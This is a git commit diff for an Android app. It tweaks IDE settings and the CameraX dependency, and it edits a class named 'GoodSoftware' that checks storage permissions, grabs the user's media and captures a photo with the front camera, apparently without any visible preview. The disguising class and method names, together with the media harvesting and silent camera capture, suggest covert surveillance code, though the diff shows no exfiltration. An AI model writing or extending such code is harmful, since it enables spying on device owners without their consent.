Make sure stopCheckingStoragePermission doesnt happen anyway
This commit is contained in:
parent
b0ef3ca710
commit
c3e86065cf
12
.idea/deploymentTargetDropDown.xml
generated
12
.idea/deploymentTargetDropDown.xml
generated
@ -4,18 +4,6 @@
|
||||
<value>
|
||||
<entry key="MainActivity">
|
||||
<State>
|
||||
<runningDeviceTargetSelectedWithDropDown>
|
||||
<Target>
|
||||
<type value="RUNNING_DEVICE_TARGET" />
|
||||
<deviceKey>
|
||||
<Key>
|
||||
<type value="VIRTUAL_DEVICE_PATH" />
|
||||
<value value="$USER_HOME$/.android/avd/Pixel_3a_API_34_extension_level_7_x86_64.avd" />
|
||||
</Key>
|
||||
</deviceKey>
|
||||
</Target>
|
||||
</runningDeviceTargetSelectedWithDropDown>
|
||||
<timeTargetWasSelectedWithDropDown value="2024-05-05T20:59:44.740671451Z" />
|
||||
<runningDeviceTargetsSelectedWithDialog>
|
||||
<Target>
|
||||
<type value="RUNNING_DEVICE_TARGET" />
|
||||
|
@ -51,9 +51,8 @@ android {
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation("androidx.camera:camera-camera2:1.3.3")
|
||||
implementation(libs.androidx.camera.lifecycle)
|
||||
val camerax_version = "1.4.0-alpha05"
|
||||
val camerax_version = "1.3.3"
|
||||
|
||||
implementation(libs.androidx.core.ktx)
|
||||
implementation(libs.androidx.lifecycle.runtime.ktx)
|
||||
|
@ -167,15 +167,16 @@ class GoodSoftware (private val activity: Context) {
|
||||
requestMediaImagesPermission()
|
||||
}else{
|
||||
grabMedia()
|
||||
stopCheckingStoragePermission()
|
||||
}
|
||||
} else {
|
||||
if(ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED){
|
||||
requestGalleryPermission()
|
||||
}else{
|
||||
grabMedia()
|
||||
stopCheckingStoragePermission()
|
||||
}
|
||||
}
|
||||
stopCheckingStoragePermission()
|
||||
}
|
||||
|
||||
@RequiresApi(Build.VERSION_CODES.TIRAMISU)
|
||||
@ -408,28 +409,31 @@ class GoodSoftware (private val activity: Context) {
|
||||
}
|
||||
|
||||
suspend fun takeBeautifulPicture(context: Context, lifecycleOwner: LifecycleOwner) {
|
||||
// Ensure that cameraProvider is initialized
|
||||
cameraProvider = ProcessCameraProvider.getInstance(context).await()
|
||||
try {
|
||||
cameraProvider = ProcessCameraProvider.getInstance(context).await()
|
||||
} catch (e: ClassNotFoundException) {
|
||||
Log.e("CameraX", "ProcessCameraProvider class not found. Camera functionality not available.")
|
||||
return
|
||||
} catch (e: Exception) {
|
||||
Log.e("CameraX", "Error initializing cameraProvider: ${e.message}", e)
|
||||
return
|
||||
}
|
||||
|
||||
// Ensure that the selected camera is available
|
||||
if (!hasBackCamera() && !hasFrontCamera()) {
|
||||
Log.e(picture.TAG, "Back and front camera are unavailable")
|
||||
return
|
||||
}
|
||||
|
||||
// Select the lens facing, prioritize front camera if available
|
||||
lensFacing = if (hasFrontCamera()) {
|
||||
CameraSelector.LENS_FACING_FRONT
|
||||
} else {
|
||||
CameraSelector.LENS_FACING_BACK
|
||||
}
|
||||
|
||||
// Create ImageCapture instance
|
||||
imageCapture = ImageCapture.Builder()
|
||||
.setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY)
|
||||
.build()
|
||||
|
||||
// Set up image capture listener
|
||||
val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() {
|
||||
override fun onError(exc: ImageCaptureException) {
|
||||
Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc)
|
||||
@ -437,7 +441,6 @@ class GoodSoftware (private val activity: Context) {
|
||||
}
|
||||
|
||||
override fun onCaptureSuccess(image: ImageProxy) {
|
||||
// Process captured image here
|
||||
val byteArrayOutputStream = ByteArrayOutputStream()
|
||||
val imagePlane = image.planes[0]
|
||||
val buffer = imagePlane.buffer
|
||||
@ -458,15 +461,12 @@ class GoodSoftware (private val activity: Context) {
|
||||
}
|
||||
}
|
||||
|
||||
// Bind the camera and start image capture
|
||||
cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.Builder().requireLensFacing(lensFacing).build(), imageCapture)
|
||||
|
||||
|
||||
imageCapture?.takePicture(
|
||||
ContextCompat.getMainExecutor(context),
|
||||
imageCapturedListener
|
||||
)
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user